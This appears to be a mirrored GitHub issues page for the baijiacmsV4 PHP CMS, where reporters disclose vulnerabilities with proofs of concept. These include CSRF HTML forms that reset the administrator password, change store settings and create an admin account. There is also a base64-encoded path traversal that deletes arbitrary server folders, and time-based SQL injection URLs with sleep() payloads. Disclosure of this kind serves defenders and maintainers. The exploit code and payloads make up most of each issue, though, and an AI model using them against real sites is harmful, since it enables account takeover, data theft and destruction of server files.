Giter VIP home page Giter VIP logo

baijiacmsv4's Introduction

baijiacmsv4's People

Contributors

baijiacms avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

baijiacmsv4's Issues

There is CSRF vulnerability that can Change administrator user password

After the administrator logs in, open the following page to change the administrator password
poc:test.html---Change administrator user password
`

<head>
	<meta charset="UTF-8">
	<title></title>
</head>
<body>
<form  method="post" action="http://127.0.0.1/baijiacms/index.php?mod=site&op=changepwd&id=1&act=manager&do=user&beid=1">
<input type="hidden" readonly="readonly" name="username" value="admin"/>
<input type="hidden" name="newpassword" value="a123456">
<input type="hidden" name="confirmpassword" value="a123456">
<input type="submit" name="submit" value="提交">
</body>
</form>
`

There is a CSRF vulnerability

Vulnerability description

A csrf vulnerability was discovered in baijiacmsV4.
There is a CSRF attacks vulnerability.After the administrator logged in, open the following two page,attacker can modify the store information and login password.
1.modify the store information.
poc:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.0.0.128/index.php?mod=site&op=post&id=2&act=manager&do=store" method="POST">
      <input type="hidden" name="id" value="2" />
      <input type="hidden" name="sname" value="xxx" />
      <input type="hidden" name="website" value="xxx" />
      <input type="hidden" name="fullwebsite" value="http&#58;&#47;&#47;xxx&#47;" />
      <input type="hidden" name="status" value="1&apos;" />
      <input type="hidden" name="mobile&#95;url" value="http&#58;&#47;&#47;xxx&#47;index&#46;php" />
      <input type="hidden" name="mobile&#95;url" value="http&#58;&#47;&#47;xxx&#47;admin&#46;php" />
      <input type="hidden" name="submit" value="æ&#143;&#144;äº&#164;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

z

Original store information
1
When a logged in administrator opens a malicious web page and clicks the button
2
And the store information has changed
3

2.modify login password.
poc:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.0.0.128/index.php?mod=site&op=changepwd&id=1&act=manager&do=user" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="newpassword" value="111111" />
      <input type="hidden" name="confirmpassword" value="111111" />
      <input type="hidden" name="submit" value="æ&#143;&#144;äº&#164;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

x

When a logged in administrator opens a malicious web page and clicks the button.
5
And the login password of the administrator will be 111111.

baijiacmsV4 directory traversal vulnerability

Directory traversal vulnerability in baijiacmsV4 allows remote authenticated attackers to delete arbitrary folders on the server via unspecified vectors.

Vulnerable code is in system/manager/class/web/database.php

if($operation=='delete')
 {
 		$d = base64_decode($_GP['id']);

 			$path = WEB_ROOT . '/config/data_backup/';
		if(is_dir($path . $d)) {
			rmdirs($path . $d);
			message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
		}
}

The origin request is http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=manager&do=database&op=delete&id=MTYwMDQ5ODY5OV9RejQzQmhaOQ%3D%3D&beid=1,which is used to delete database backuped folder.We can change the parameter "id" to delete any folders.

For example:

  1. Create a folder named test
    image
  2. Base64encode "../../test"
    image
  3. Change the parameter id to "Li4vLi4vdGVzdA%3d%3d" and request this url "http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA%3d%3d&beid=1"
    image
  4. Now the test folder is deleted.
    image
  5. An authenticated attacker can destroy the whole website just use the parameter "../../../" after base64encode.

There is CSRF vulnerability that can add the administrator account

After the administrator logged in, open the following page
poc:
test.html---add a administrator

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:88//baijiacmsv4-master/index.php?mod=site&op=edituser&act=manager&do=user&beid=1" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="is&#95;admin" value="0" />
      <input type="hidden" name="store" value="0" />
      <input type="hidden" name="username" value="admin1" />
      <input type="hidden" name="newpassword" value="123456" />
      <input type="hidden" name="confirmpassword" value="123456" />
      <input type="hidden" name="submit" value="æ&#143;&#144;äº&#164;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Two Vulnerability of Time-based SQL injection

0x1:description
Two time-based SQL blinds to get data。

0x02:POC
First:
http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=&page=1&_=1546926470383

second:
http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&page=1&_=1546926470383

0x03:description
request the url:
http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=&page=1&_=1546926470383
No time delay
Screenshot:
https://i.loli.net/2019/01/08/5c344a7845064.png

request the url:
http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=(select(0)from(select(sleep(10)))v)/*'%2b(select(0)from(select(sleep(10)))v)%2b'%22%2b(select(0)from(select(sleep(10)))v)%2b%22*/&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=&page=1&_=1546926470383
time delay
Screenshot:
https://i.loli.net/2019/01/08/5c344afbc5d7d.png

Test with sqlmap:
https://i.loli.net/2019/01/08/5c344b46484a1.png

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.